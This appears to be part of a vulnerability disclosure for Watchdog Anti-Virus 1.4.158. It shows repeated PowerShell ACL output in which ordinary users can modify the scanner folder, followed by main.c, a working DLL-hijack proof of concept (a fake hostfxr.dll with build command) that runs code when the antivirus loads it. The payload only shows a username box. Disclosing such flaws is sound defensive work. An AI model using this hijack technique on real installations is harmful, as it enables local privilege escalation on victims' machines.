Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
```

```
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\scanner1\libclamunrar_iface.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog
         Anti-Virus\scanner1\libcrypto-1_1-x64.dll
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
```

```
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
```

```
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
```

```
          APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)

Path   : Microsoft.PowerShell.Core\FileSystem::C:\Program Files (x86)\Watchdog Anti-Virus\scanner1
Owner  : BUILTIN\Administrators
Group  : DESKTOP-8B89BFF\None
Access : BUILTIN\Users Allow  Modify, Synchronize
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute,
Audit  :
Sddl   : O:BAG:S-1-5-21-2015969053-4181822921-3402349266-513D:AI(A;ID;0x1301bf;;;BU)(A;ID;FA;;;SY)
         x1200a9;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)
```

main.c

```c
#include "windows.h"

/**
 *
 *  hostfxr.dll hijack PoC for Watchdog Anti-Virus version 1.4.158
 *
 *  x86_64-w64-mingw32-g++ -masm=intel -s -w -static -shared -Wno-multichar -o hostfxr.dll main.c
 *
 * */


#define DllImport __declspec( dllimport )
#define DllExport __declspec( dllexport )



DllExport void hostfxr_main_startupinfo() {
```

```c
    wchar_t username[100];
    DWORD username_len = 100;
    GetUserNameW(username, &username_len);

    MessageBoxW(NULL, username, L"TEST", MB_OK | MB_ICONERROR);
}

BOOL WINAPI DllMain(
    IN HINSTANCE hinstDLL,
    IN DWORD     fdwReason,
    IN LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        hostfxr_main_startupinfo();
        break;

    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}
```